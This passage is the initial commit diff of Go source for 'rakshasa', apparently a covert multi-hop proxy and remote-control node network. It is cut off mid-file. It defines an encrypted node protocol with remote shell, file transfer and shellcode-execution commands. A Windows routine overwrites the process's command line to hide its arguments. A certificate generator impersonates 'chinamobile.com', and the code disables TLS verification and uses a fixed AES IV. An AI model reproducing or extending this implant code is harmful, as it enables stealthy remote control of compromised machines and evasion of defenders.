初次提交
This commit is contained in:
+20
@@ -0,0 +1,20 @@
|
||||
package aes
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
)
|
||||
|
||||
func AesCfbNewEncrypSteam() cipher.Stream {
|
||||
block, _ := aes.NewCipher(Key)
|
||||
iv := bytes.Repeat([]byte("1"), block.BlockSize())
|
||||
|
||||
return cipher.NewCFBEncrypter(block, iv)
|
||||
}
|
||||
func AesCfbNewDecrypSteam() cipher.Stream {
|
||||
block, _ := aes.NewCipher(Key)
|
||||
iv := bytes.Repeat([]byte("1"), block.BlockSize())
|
||||
|
||||
return cipher.NewCFBDecrypter(block, iv)
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
package aes
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/md5"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var Key []byte
|
||||
|
||||
func AesCtrEncrypt(dst, plainText []byte) []byte {
|
||||
//1. 创建cipher.Block接口
|
||||
block, _ := aes.NewCipher(Key)
|
||||
|
||||
//2. 创建分组模式,在crypto/cipher包中
|
||||
iv := bytes.Repeat([]byte("1"), block.BlockSize())
|
||||
stream := cipher.NewCTR(block, iv)
|
||||
//3. 加密
|
||||
|
||||
stream.XORKeyStream(dst, plainText)
|
||||
|
||||
return dst
|
||||
}
|
||||
|
||||
func AesCtrDecrypt(encryptData []byte) []byte {
|
||||
data := make([]byte, len(encryptData))
|
||||
return AesCtrEncrypt(data, encryptData)
|
||||
}
|
||||
|
||||
const hextable = "0123456789abcdef"
|
||||
|
||||
func MD5_B(str string) []byte {
|
||||
dst := make([]byte, 32)
|
||||
for k, v := range md5.Sum(Str2bytes(str)) {
|
||||
dst[k*2] = hextable[v>>4]
|
||||
dst[k*2+1] = hextable[v&0x0f]
|
||||
}
|
||||
return dst
|
||||
}
|
||||
func Str2bytes(s string) []byte {
|
||||
x := (*[2]uintptr)(unsafe.Pointer(&s))
|
||||
h := [3]uintptr{x[0], x[1], x[1]}
|
||||
return *(*[]byte)(unsafe.Pointer(&h))
|
||||
}
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
package cert
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
_ "embed"
|
||||
"log"
|
||||
)
|
||||
|
||||
//go:embed server.crt
|
||||
var rsaCert []byte
|
||||
|
||||
//go:embed server.key
|
||||
var PublicKey []byte
|
||||
|
||||
var Tlsconfig *tls.Config
|
||||
|
||||
func init() {
|
||||
//内置证书
|
||||
|
||||
cert, err := tls.X509KeyPair(rsaCert, PublicKey)
|
||||
if err != nil {
|
||||
log.Panicln(err)
|
||||
return
|
||||
|
||||
}
|
||||
certPool := x509.NewCertPool()
|
||||
|
||||
if ok := certPool.AppendCertsFromPEM(rsaCert); !ok {
|
||||
log.Panicln("PEM err")
|
||||
return
|
||||
}
|
||||
Tlsconfig = &tls.Config{
|
||||
Certificates: []tls.Certificate{cert},
|
||||
InsecureSkipVerify: true,
|
||||
RootCAs: certPool,
|
||||
ClientAuth: tls.RequireAndVerifyClientCert,
|
||||
ClientCAs: certPool,
|
||||
MaxVersion: tls.VersionTLS12,
|
||||
MinVersion: tls.VersionTLS12,
|
||||
CipherSuites: []uint16{
|
||||
tls.TLS_AES_128_GCM_SHA256,
|
||||
tls.TLS_CHACHA20_POLY1305_SHA256,
|
||||
tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,
|
||||
tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
|
||||
tls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256,
|
||||
tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256,
|
||||
},
|
||||
}
|
||||
|
||||
}
|
||||
+134
@@ -0,0 +1,134 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/dlclark/regexp2"
|
||||
"net"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
type Addr struct {
|
||||
scheam string
|
||||
user, passwd string
|
||||
ip string
|
||||
port int
|
||||
httpAuthorizationHeader string
|
||||
}
|
||||
|
||||
func ParseAddr(str string) (cfg *Addr, err error) {
|
||||
defer func() {
|
||||
if cfg != nil && cfg.user != "" && cfg.passwd != "" {
|
||||
cfg.httpAuthorizationHeader = fmt.Sprintf("Proxy-Authorization: Basic %s", base64.URLEncoding.EncodeToString([]byte(cfg.user+":"+cfg.passwd)))
|
||||
|
||||
}
|
||||
|
||||
}()
|
||||
r, _ := regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\S+):(\d+)`, 0)
|
||||
m, err := r.FindStringMatch(str)
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误," + err.Error())
|
||||
}
|
||||
if m != nil {
|
||||
var res_v []string
|
||||
for _, v := range m.Groups() {
|
||||
res_v = append(res_v, v.String())
|
||||
}
|
||||
addr, err := net.ResolveTCPAddr("tcp", res_v[4]+":"+res_v[5])
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误 " + res_v[4] + ":" + res_v[5] + " 不是有效的 地址:端口")
|
||||
}
|
||||
return &Addr{
|
||||
scheam: res_v[1],
|
||||
user: res_v[2],
|
||||
passwd: res_v[3],
|
||||
ip: res_v[4],
|
||||
port: addr.Port,
|
||||
}, nil
|
||||
}
|
||||
r, _ = regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\d+)`, 0)
|
||||
m, err = r.FindStringMatch(str)
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误," + err.Error())
|
||||
}
|
||||
if m != nil {
|
||||
var res_v []string
|
||||
for _, v := range m.Groups() {
|
||||
res_v = append(res_v, v.String())
|
||||
}
|
||||
port, _ := strconv.Atoi(res_v[4])
|
||||
|
||||
return &Addr{
|
||||
scheam: res_v[1],
|
||||
user: res_v[2],
|
||||
passwd: res_v[3],
|
||||
ip: "",
|
||||
port: port,
|
||||
}, nil
|
||||
}
|
||||
r, _ = regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)$`, 0)
|
||||
m, err = r.FindStringMatch(str)
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误," + err.Error())
|
||||
}
|
||||
if m != nil {
|
||||
var res_v []string
|
||||
for _, v := range m.Groups() {
|
||||
res_v = append(res_v, v.String())
|
||||
}
|
||||
addr, err := net.ResolveTCPAddr("tcp", res_v[2]+":"+res_v[3])
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误 " + res_v[1] + ":" + res_v[2] + " 不是有效的 地址:端口")
|
||||
}
|
||||
|
||||
return &Addr{
|
||||
scheam: res_v[1],
|
||||
user: "",
|
||||
passwd: "",
|
||||
ip: res_v[2],
|
||||
port: addr.Port,
|
||||
}, nil
|
||||
}
|
||||
|
||||
port, err := strconv.Atoi(str)
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误,请按照 用户名:密码@地址:端口 的方式填写,或者 用户名:密码@端口 或者 ip:端口 或者 只有端口")
|
||||
}
|
||||
return &Addr{port: port}, nil
|
||||
}
|
||||
func (c *Addr) IP() string {
|
||||
return c.ip
|
||||
}
|
||||
func (c *Addr) Addr() string {
|
||||
return fmt.Sprintf("%s:%d", c.ip, c.port)
|
||||
}
|
||||
func (c *Addr) Port() string {
|
||||
return fmt.Sprintf("%d", c.port)
|
||||
}
|
||||
func (c *Addr) String() string {
|
||||
if c.user == "" && c.passwd == "" {
|
||||
if c.ip == "" {
|
||||
return fmt.Sprintf("%d", c.port)
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%s%s:%d", c.scheam, c.ip, c.port)
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%s%s:%s@%s:%d", c.scheam, c.user, c.passwd, c.ip, c.port)
|
||||
}
|
||||
func (c *Addr) GetHttpAuthorizationHeader() string {
|
||||
return c.httpAuthorizationHeader
|
||||
}
|
||||
func (c *Addr) User() string {
|
||||
return c.user
|
||||
}
|
||||
func (c *Addr) Password() string {
|
||||
return c.passwd
|
||||
}
|
||||
func (c *Addr) Scheam() string {
|
||||
return c.scheam
|
||||
}
|
||||
func (c *Addr) HttpUrl() string {
|
||||
return "http://" + c.Addr()
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
//go:build linux || darwin
|
||||
// +build linux darwin
|
||||
|
||||
package common
|
||||
|
||||
func ChangeArg(param string) {
|
||||
|
||||
//linux暂不支持
|
||||
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package common
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func ChangeArg(param string) {
|
||||
|
||||
if kernel32, err := syscall.LoadDLL("Kernel32.dll"); err == nil {
|
||||
if GetCommandLineA, err := kernel32.FindProc("GetCommandLineW"); err == nil {
|
||||
u, _, _ := GetCommandLineA.Call()
|
||||
|
||||
u16, _ := syscall.UTF16FromString(param)
|
||||
|
||||
for k, v := range u16 {
|
||||
*(*byte)(unsafe.Pointer(u + uintptr(k*2+0))) = byte(v)
|
||||
*(*byte)(unsafe.Pointer(u + uintptr(k*2+1))) = byte(v >> 8)
|
||||
}
|
||||
|
||||
*(*uint16)(unsafe.Pointer(u + uintptr(len(u16)*2+1))) = 0
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
+321
@@ -0,0 +1,321 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/google/uuid"
|
||||
"math/rand"
|
||||
"net"
|
||||
"rakshasa/aes"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
var Debug bool = false
|
||||
var DebugLock bool = false
|
||||
var DebugLockMap sync.Map
|
||||
|
||||
const UUID_LEN = 16
|
||||
|
||||
var BroadcastUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0xff}, UUID_LEN))
|
||||
var NoneUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0x00}, UUID_LEN))
|
||||
var EnableTermVt bool
|
||||
|
||||
// 数据包结构 包长(2byte)UUID+UUID+MsgId+Ttl+cmd包
|
||||
type Msg struct {
|
||||
From string
|
||||
To string
|
||||
MsgId uint32
|
||||
Ttl uint8
|
||||
|
||||
CmdOpteion uint8
|
||||
CmdId uint32
|
||||
CmdData []byte
|
||||
}
|
||||
|
||||
const (
|
||||
MAX_PLAINTEXT = 16384 - 2 - UUID_LEN*2 - 4 - 1 - 5 //不包含headlen
|
||||
MAX_PACKAGE = 0xffff - UUID_LEN*2 - 4 - 1 - 5
|
||||
INIT_WINDOWS_SIZE = MAX_PLAINTEXT * 20
|
||||
WRITE_DEADLINE = time.Second * 5
|
||||
CMD_TIMEOUT = time.Second * 10
|
||||
)
|
||||
|
||||
// 大数据包格式,(CMD+fd)headlen+内容,不超过MaxPlaintext,使用tls自动分包
|
||||
const (
|
||||
CMD_NONE = iota
|
||||
CMD_CONNECT_BYIDADDR //请求id, 格式newWork(1byte)+负载
|
||||
CMD_CONNECT_BYIDADDR_RESULT //返回id
|
||||
CMD_DELETE_CONNID //删除fd资源
|
||||
CMD_CONN_MSG //发送消息,格式windows(8byte)+负载
|
||||
CMD_CONN_UDP_MSG //udp数据包
|
||||
|
||||
CMD_NODE_RESTART //删除所有
|
||||
CMD_WINDOWS_UPDATE // 增加窗口值
|
||||
CMD_PING //请求ping
|
||||
CMD_PONG //返回pong
|
||||
CMD_PING_LISTEN //bind和remoteSocke5用,type(1byte)+id(4byte)
|
||||
CMD_PING_LISTEN_RESULT
|
||||
CMD_REG //通过本地注册
|
||||
CMD_REG_RESULT //节点端注册
|
||||
CMD_REMOTE_REG //通过远程服务器注册
|
||||
CMD_REMOTE_REG_RESULT
|
||||
CMD_GET_CURRENT_NODE //特殊指令,节点丢失后,查询节点
|
||||
CMD_GET_CURRENT_NODE_RESULT
|
||||
CMD_GET_NODE //获取节点列表
|
||||
CMD_GET_NODE_RESULT
|
||||
CMD_ADD_NODE //新增节点
|
||||
CMD_LISTEN //监听
|
||||
CMD_LISTEN_RESULT
|
||||
CMD_DELETE_LISTEN
|
||||
CMD_CONNECT_BYID //连接
|
||||
CMD_DELETE_LISTENCONN_BYID
|
||||
CMD_REMOTE_SOCKS5 //
|
||||
//CMD_REMOTE_SOCKS5_RESULT
|
||||
CMD_PWD
|
||||
CMD_PWD_RESULT
|
||||
CMD_DIR
|
||||
CMD_DIR_RESULT
|
||||
CMD_CD
|
||||
CMD_CD_RESULT
|
||||
CMD_UPLOAD
|
||||
CMD_UPLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=进度
|
||||
CMD_DOWNLOAD
|
||||
CMD_DOWNLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=size包,2=数据包
|
||||
CMD_SHELL
|
||||
CMD_SHELL_DATA
|
||||
CMD_SHELL_RESULT
|
||||
CMD_RUN_SHELLCODE
|
||||
CMD_RUN_SHELLCODE_RESULT
|
||||
)
|
||||
|
||||
var CmdToName = map[uint8]string{
|
||||
CMD_NONE: "CMD_NONE",
|
||||
CMD_CONNECT_BYIDADDR: "CMD_CONNECT_BYIDADDR",
|
||||
CMD_CONNECT_BYIDADDR_RESULT: "CMD_CONNECT_BYIDADDR_RESULT",
|
||||
CMD_DELETE_CONNID: "CMD_DELETE_CONNID",
|
||||
CMD_CONN_MSG: "CMD_CONN_MSG",
|
||||
CMD_CONN_UDP_MSG: "CMD_CONN_UDP_MSG",
|
||||
CMD_NODE_RESTART: "CMD_NODE_RESTART",
|
||||
CMD_WINDOWS_UPDATE: "CMD_WINDOWS_UPDATE",
|
||||
CMD_PING: "CMD_PING",
|
||||
CMD_PONG: "CMD_PONG",
|
||||
CMD_PING_LISTEN: "CMD_PING_LISTEN",
|
||||
CMD_PING_LISTEN_RESULT: "CMD_PING_LISTEN_RESULT",
|
||||
CMD_REG: "CMD_REG",
|
||||
CMD_REG_RESULT: "CMD_REG_RESULT",
|
||||
CMD_REMOTE_REG: "CMD_REMOTE_REG",
|
||||
CMD_REMOTE_REG_RESULT: "CMD_REMOTE_REG_RESULT",
|
||||
CMD_GET_CURRENT_NODE: "CMD_GET_CURRENT_NODE",
|
||||
CMD_GET_CURRENT_NODE_RESULT: "CMD_GET_CURRENT_NODE_RESULT",
|
||||
CMD_GET_NODE: "CMD_GET_NODE",
|
||||
CMD_GET_NODE_RESULT: "CMD_GET_NODE_RESULT",
|
||||
CMD_ADD_NODE: "CMD_ADD_NODE",
|
||||
CMD_LISTEN: "CMD_LISTEN",
|
||||
CMD_LISTEN_RESULT: "CMD_LISTEN_RESULT",
|
||||
CMD_DELETE_LISTEN: "CMD_DELETE_LISTEN",
|
||||
CMD_CONNECT_BYID: "CMD_CONNECT_BYID",
|
||||
CMD_DELETE_LISTENCONN_BYID: "CMD_DELETE_LISTEN_CONN_BYID",
|
||||
CMD_REMOTE_SOCKS5: "CMD_REMOTE_SOCKS5",
|
||||
//CMD_REMOTE_SOCKS5_RESULT: "CMD_REMOTE_SOCKS5_RESULT",
|
||||
CMD_PWD: "CMD_PWD",
|
||||
CMD_PWD_RESULT: "CMD_PWD_RESULT",
|
||||
CMD_DIR: "CMD_DIR",
|
||||
CMD_DIR_RESULT: "CMD_DIR_RESULT",
|
||||
CMD_CD: "CMD_CD",
|
||||
CMD_CD_RESULT: "CMD_CD_RESULT",
|
||||
CMD_UPLOAD: "CMD_UPLOAD",
|
||||
CMD_UPLOAD_RESULT: "CMD_UPLOAD_RESULT",
|
||||
CMD_DOWNLOAD: "CMD_DOWNLOAD",
|
||||
CMD_DOWNLOAD_RESULT: "CMD_DOWNLOAD_RESULT",
|
||||
CMD_SHELL: "CMD_SHELL",
|
||||
CMD_SHELL_DATA: "CMD_SHELL_DATA",
|
||||
CMD_SHELL_RESULT: "CMD_SHELL_RESULT",
|
||||
CMD_RUN_SHELLCODE: "CMD_RUN_SHELLCODE",
|
||||
CMD_RUN_SHELLCODE_RESULT: "CMD_RUN_SHELLCODE_RESULT",
|
||||
}
|
||||
|
||||
type NetWork byte
|
||||
|
||||
const (
|
||||
_ NetWork = iota
|
||||
SOCKS5_CMD_CONNECT
|
||||
// CmdBind is bind command
|
||||
SOCKS5_CMD_BIND
|
||||
// CmdUDP is UDP command
|
||||
SOCKS5_CMD_UDP
|
||||
|
||||
RAW_TCP
|
||||
|
||||
RAW_TCP_WITH_PROXY
|
||||
)
|
||||
|
||||
// 符合Server调用的接口
|
||||
type Server interface {
|
||||
ID() uint32
|
||||
Write(buf []byte)
|
||||
DeleteFd(fd [2]byte)
|
||||
FdLoad(fd [2]byte) bool
|
||||
FdStore(fd [2]byte, c Conn)
|
||||
Close(string)
|
||||
AddrList() string
|
||||
}
|
||||
|
||||
const (
|
||||
CONN_STATUS_OK = iota
|
||||
CONN_STATUS_CLOSE
|
||||
)
|
||||
|
||||
// 符合Conn调用的接口
|
||||
type Conn interface {
|
||||
Write([]byte) //会将部分消息原样不动发回去
|
||||
Close(string)
|
||||
}
|
||||
type Close interface {
|
||||
Close(string)
|
||||
}
|
||||
|
||||
var globalID1, globalID2 uint32
|
||||
var GetIDLock sync.Mutex
|
||||
|
||||
func GetID() uint32 {
|
||||
return atomic.AddUint32(&globalID1, 1)
|
||||
}
|
||||
|
||||
func GetConnID() uint32 {
|
||||
return atomic.AddUint32(&globalID2, 1)
|
||||
}
|
||||
func init() {
|
||||
rand.Seed(time.Now().Unix())
|
||||
|
||||
}
|
||||
|
||||
type RegMsg struct {
|
||||
UUID string //当前机器uuid
|
||||
Addr string
|
||||
RegAddr string //远程连接的addr
|
||||
Hostname string //当前机器名称
|
||||
Goos string
|
||||
ViaUUID string
|
||||
Err string
|
||||
MainIp []string
|
||||
Port int
|
||||
}
|
||||
|
||||
var msgId uint32
|
||||
|
||||
func (m *Msg) Marshal() []byte {
|
||||
l := UUID_LEN*2 + 4 + 1 + 5 + len(m.CmdData)
|
||||
data := make([]byte, l+2)
|
||||
data1 := make([]byte, l+2)
|
||||
data1[0] = byte(l)
|
||||
data1[1] = byte(l >> 8)
|
||||
uf, _ := uuid.Parse(m.From)
|
||||
ut, _ := uuid.Parse(m.To)
|
||||
bf, _ := uf.MarshalBinary()
|
||||
bt, _ := ut.MarshalBinary()
|
||||
copy(data[2:], bf)
|
||||
copy(data[2+UUID_LEN:], bt)
|
||||
b := 2 + 2*UUID_LEN
|
||||
if m.MsgId == 0 { //id不为0
|
||||
m.MsgId = atomic.AddUint32(&msgId, 1)
|
||||
}
|
||||
data[b] = byte(m.MsgId)
|
||||
data[b+1] = byte(m.MsgId >> 8)
|
||||
data[b+2] = byte(m.MsgId >> 16)
|
||||
data[b+3] = byte(m.MsgId >> 24)
|
||||
data[b+4] = m.Ttl
|
||||
data[b+5] = m.CmdOpteion
|
||||
data[b+6] = byte(m.CmdId)
|
||||
data[b+7] = byte(m.CmdId >> 8)
|
||||
data[b+8] = byte(m.CmdId >> 16)
|
||||
data[b+9] = byte(m.CmdId >> 24)
|
||||
copy(data[2+2*UUID_LEN+4+1+5:], m.CmdData)
|
||||
aes.AesCtrEncrypt(data1[2:], data[2:])
|
||||
return data1
|
||||
}
|
||||
func UnmarshalMsg(data []byte) (msg *Msg) {
|
||||
if len(data) < 2*UUID_LEN+4+1+5 {
|
||||
return
|
||||
}
|
||||
msg = &Msg{}
|
||||
uf, _ := uuid.FromBytes(data[:UUID_LEN])
|
||||
ut, _ := uuid.FromBytes(data[UUID_LEN : 2*UUID_LEN])
|
||||
msg.From = uf.String()
|
||||
msg.To = ut.String()
|
||||
b := 2 * UUID_LEN
|
||||
|
||||
msg.MsgId = uint32(data[b]) | uint32(data[b+1])<<8 | uint32(data[b+2])<<16 | uint32(data[b+3])<<24
|
||||
msg.Ttl = data[b+4]
|
||||
|
||||
msg.CmdOpteion = data[b+5]
|
||||
msg.CmdId = uint32(data[b+6]) | uint32(data[b+7])<<8 | uint32(data[b+8])<<16 | uint32(data[b+9])<<24
|
||||
msg.CmdData = data[b+10:]
|
||||
|
||||
return
|
||||
}
|
||||
func ExternalIP() (net.IP, error) {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, iface := range ifaces {
|
||||
if iface.Flags&net.FlagUp == 0 {
|
||||
continue // interface down
|
||||
}
|
||||
if iface.Flags&net.FlagLoopback != 0 {
|
||||
continue // loopback interface
|
||||
}
|
||||
addrs, err := iface.Addrs()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, addr := range addrs {
|
||||
ip := getIpFromAddr(addr)
|
||||
if ip == nil {
|
||||
continue
|
||||
}
|
||||
return ip, nil
|
||||
}
|
||||
}
|
||||
return nil, errors.New("connected to the network?")
|
||||
}
|
||||
|
||||
// 获取ip
|
||||
func getIpFromAddr(addr net.Addr) net.IP {
|
||||
var ip net.IP
|
||||
switch v := addr.(type) {
|
||||
case *net.IPNet:
|
||||
ip = v.IP
|
||||
case *net.IPAddr:
|
||||
ip = v.IP
|
||||
}
|
||||
if ip == nil || ip.IsLoopback() {
|
||||
return nil
|
||||
}
|
||||
ip = ip.To4()
|
||||
if ip == nil {
|
||||
return nil // not an ipv4 address
|
||||
}
|
||||
|
||||
return ip
|
||||
}
|
||||
func ResolveTCPAddr(str string) ([]string, error) {
|
||||
dst := strings.Split(str, ",")
|
||||
for i := len(dst) - 1; i >= 0; i-- {
|
||||
addr := dst[i]
|
||||
if addr == "" {
|
||||
dst = append(dst[:i], dst[i+1:]...)
|
||||
} else {
|
||||
if _, err := net.ResolveTCPAddr("tcp", addr); err != nil {
|
||||
return nil, fmt.Errorf("参数错误 格式为\"ip:端口\",多个地址以逗号隔开,错误详情%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return dst, nil
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package common
|
||||
|
||||
type Config struct {
|
||||
DstNode []string //-d 上级节点
|
||||
Password string //通讯密码,可为空
|
||||
Port int //默认8883
|
||||
ListenIp []string //指定公网ip,其他节点进行额外节点连接时候,尝试连接的ip
|
||||
Limit bool //禁止额外连接,只连接-d节点,不会尝试连接其他节点
|
||||
FileName string
|
||||
FileSave bool `yaml:"-"`
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
//go:build linux || darwin
|
||||
// +build linux darwin
|
||||
|
||||
package common
|
||||
|
||||
import (
|
||||
"github.com/creack/pty"
|
||||
"os"
|
||||
)
|
||||
|
||||
func SetConsoleVT() {}
|
||||
func GetSize() *pty.Winsize {
|
||||
size, _ := pty.GetsizeFull(os.Stdin)
|
||||
return size
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package common
|
||||
|
||||
import (
|
||||
"github.com/creack/pty"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func SetConsoleVT() {
|
||||
if kernel32, err := syscall.LoadDLL("kernel32.dll"); err == nil {
|
||||
if GetStdHandle, err := kernel32.FindProc("GetStdHandle"); err == nil {
|
||||
if GetConsoleMode, err := kernel32.FindProc("GetConsoleMode"); err == nil {
|
||||
if SetConsoleMode, err := kernel32.FindProc("SetConsoleMode"); err == nil {
|
||||
//仅限win10
|
||||
v := int32(-11)
|
||||
hand, _, _ := GetStdHandle.Call(uintptr(v))
|
||||
if hand == ^uintptr(0) {
|
||||
return
|
||||
}
|
||||
|
||||
var dwMode int32
|
||||
if res, _, _ := GetConsoleMode.Call(hand, uintptr(unsafe.Pointer(&dwMode))); res == 1 {
|
||||
res, _, _ = SetConsoleMode.Call(hand, uintptr(dwMode|0x0004))
|
||||
EnableTermVt = res == 1
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
type COORD struct {
|
||||
X uint16
|
||||
Y uint16
|
||||
}
|
||||
type SMALL_RECT struct {
|
||||
Left uint16
|
||||
Top uint16
|
||||
Right uint16
|
||||
Bottom uint16
|
||||
}
|
||||
type CONSOLE_SCREEN_BUFFER_INFO struct {
|
||||
Size COORD
|
||||
CursorPosition COORD
|
||||
Attributes uint16
|
||||
Window SMALL_RECT
|
||||
MaximumWindowSize COORD
|
||||
}
|
||||
|
||||
func GetSize() (size *pty.Winsize) {
|
||||
var csbi CONSOLE_SCREEN_BUFFER_INFO
|
||||
|
||||
if kernel32, err := syscall.LoadDLL("kernel32.dll"); err == nil {
|
||||
if GetStdHandle, err := kernel32.FindProc("GetStdHandle"); err == nil {
|
||||
if GetConsoleScreenBufferInfo, err := kernel32.FindProc("GetConsoleScreenBufferInfo"); err == nil {
|
||||
|
||||
//仅限win10
|
||||
v := int32(-11)
|
||||
hand, _, _ := GetStdHandle.Call(uintptr(v))
|
||||
if hand == ^uintptr(0) {
|
||||
return nil
|
||||
}
|
||||
if res, _, _ := GetConsoleScreenBufferInfo.Call(hand, uintptr(unsafe.Pointer(&csbi))); res == 1 {
|
||||
size = &pty.Winsize{}
|
||||
size.Cols = csbi.Window.Right - csbi.Window.Left + 1
|
||||
size.Rows = csbi.Window.Bottom - csbi.Window.Top + 1
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
dstnode:
|
||||
#- 192.168.1.180:8883
|
||||
password: ""
|
||||
port: 8884
|
||||
listenip:
|
||||
- 192.168.1.151
|
||||
limit: false
|
||||
filename: config.yaml
|
||||
+164
@@ -0,0 +1,164 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
cr "crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/x509"
|
||||
"crypto/x509/pkix"
|
||||
"encoding/pem"
|
||||
"log"
|
||||
"math/big"
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
subj := &pkix.Name{
|
||||
CommonName: "chinamobile.com",
|
||||
Organization: []string{"Company, INC."},
|
||||
Country: []string{"US"},
|
||||
Province: []string{""},
|
||||
Locality: []string{"San Francisco"},
|
||||
StreetAddress: []string{"Golden Gate Bridge"},
|
||||
PostalCode: []string{"94016"},
|
||||
}
|
||||
ca, err := CreateCA(subj, 10)
|
||||
if err != nil {
|
||||
log.Panic(err)
|
||||
}
|
||||
|
||||
Write(ca, "../cert/server")
|
||||
|
||||
crt, err := Req(ca.CSR, subj, 10, []string{"test.default.svc", "test"}, []net.IP{})
|
||||
|
||||
if err != nil {
|
||||
log.Panic(err)
|
||||
}
|
||||
|
||||
Write(crt, "../cert/server")
|
||||
}
|
||||
|
||||
type CERT struct {
|
||||
CERT []byte
|
||||
CERTKEY *rsa.PrivateKey
|
||||
CERTPEM *bytes.Buffer
|
||||
CERTKEYPEM *bytes.Buffer
|
||||
CSR *x509.Certificate
|
||||
}
|
||||
|
||||
func CreateCA(sub *pkix.Name, expire int) (*CERT, error) {
|
||||
var (
|
||||
ca = new(CERT)
|
||||
err error
|
||||
)
|
||||
|
||||
if expire < 1 {
|
||||
expire = 1
|
||||
}
|
||||
// 为ca生成私钥
|
||||
ca.CERTKEY, err = rsa.GenerateKey(cr.Reader, 4096)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 对证书进行签名
|
||||
ca.CSR = &x509.Certificate{
|
||||
SerialNumber: big.NewInt(rand.Int63n(2000)),
|
||||
Subject: *sub,
|
||||
NotBefore: time.Now(), // 生效时间
|
||||
NotAfter: time.Now().AddDate(expire, 0, 0), // 过期时间
|
||||
IsCA: true, // 表示用于CA
|
||||
// openssl 中的 extendedKeyUsage = clientAuth, serverAuth 字段
|
||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth},
|
||||
// openssl 中的 keyUsage 字段
|
||||
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
|
||||
BasicConstraintsValid: true,
|
||||
}
|
||||
// 创建证书
|
||||
// caBytes 就是生成的证书
|
||||
ca.CERT, err = x509.CreateCertificate(cr.Reader, ca.CSR, ca.CSR, &ca.CERTKEY.PublicKey, ca.CERTKEY)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ca.CERTPEM = new(bytes.Buffer)
|
||||
pem.Encode(ca.CERTPEM, &pem.Block{
|
||||
Type: "CERTIFICATE",
|
||||
Bytes: ca.CERT,
|
||||
})
|
||||
ca.CERTKEYPEM = new(bytes.Buffer)
|
||||
pem.Encode(ca.CERTKEYPEM, &pem.Block{
|
||||
Type: "RSA PRIVATE KEY",
|
||||
Bytes: x509.MarshalPKCS1PrivateKey(ca.CERTKEY),
|
||||
})
|
||||
|
||||
// 进行PEM编码,编码就是直接cat证书里面内容显示的东西
|
||||
return ca, nil
|
||||
}
|
||||
|
||||
func Req(ca *x509.Certificate, sub *pkix.Name, expire int, dns []string, ip []net.IP) (*CERT, error) {
|
||||
var (
|
||||
cert = &CERT{}
|
||||
err error
|
||||
)
|
||||
cert.CERTKEY, err = rsa.GenerateKey(cr.Reader, 4096)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if expire < 1 {
|
||||
expire = 1
|
||||
}
|
||||
cert.CSR = &x509.Certificate{
|
||||
